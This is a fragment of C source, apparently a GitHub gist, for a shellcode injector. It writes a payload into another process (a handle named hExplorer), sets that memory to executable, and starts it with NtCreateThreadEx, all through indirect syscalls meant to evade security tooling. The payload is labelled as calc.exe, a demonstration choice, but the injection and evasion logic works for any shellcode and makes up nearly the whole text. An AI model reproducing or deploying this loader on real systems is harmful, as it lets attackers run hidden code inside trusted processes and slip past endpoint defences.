dbg_print("Failed to write shellcode to 0x%p. Error: 0x%0.8X\n", pShellcode, Status); | |
if (ShellcodeSize != BytesWritten) { | |
error("Bytes written does not match expected amount. Written: %lld. Expected %lld.", BytesWritten, ShellcodeSize); return -1; | |
} | |
return -1; | |
} | |
print("Wrote %lld bytes to buffer at 0x%p", BytesWritten, pShellcode); | |
/* Set buffer memory perms to RX */ | |
prepare_syscall(Syscalls.NtProtectVirtualMemory); | |
Status = RunSyscall(hExplorer, &pShellcode, &ShellcodeSize, PAGE_EXECUTE_READ, &OldProtection); | |
if (Status != 0x0) { | |
error("Failed to set memory protections. Error: 0x%0.8X", Status); return -1; | |
} | |
print("Set memory protection to RX"); | |
/* Execute payload (calc.exe) */ | |
prepare_syscall(Syscalls.NtCreateThreadEx); | |
Status = RunSyscall(&hThread, THREAD_QUERY_LIMITED_INFORMATION | SYNCHRONIZE, NULL, hExplorer, pShellcode, NULL, FALSE, NULL, NULL, NULL, NULL); | |
if (Status != 0x0) { | |
error("Failed to create thread. Error: 0x%0.8X", Status); return -1; | |
} | |
print("Executing payload in new thread! ID: %d", GetThreadId(hThread)); | |
/* Wait for thread */ | |
prepare_syscall(Syscalls.NtWaitForSingleObject); | |
Status = RunSyscall(hThread, FALSE, NULL); | |
if (Status != 0x0) { | |
error("NtWaitForSingleObject failed with error: 0x%0.8X", Status); return -1; | |
} | |
/* Cleanup */ | |
printf("[+] Press enter to cleanup"); getchar(); | |
prepare_syscall(Syscalls.NtFreeVirtualMemory); | |
Status = RunSyscall(hExplorer, &pShellcode, &ShellcodeSize, MEM_RELEASE); | |
if (Status != 0x0) { | |
error("NtFreeVirtualMemoryFailed with error 0x%0.8X", Status); return -1; | |
} | |
prepare_syscall(Syscalls.NtClose); | |
Status = RunSyscall(hExplorer); | |
if (Status != 0x0) { | |
error("NtClose failed with error 0x%0.8X", Status); return -1; | |
} | |
print("Clean exit!"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment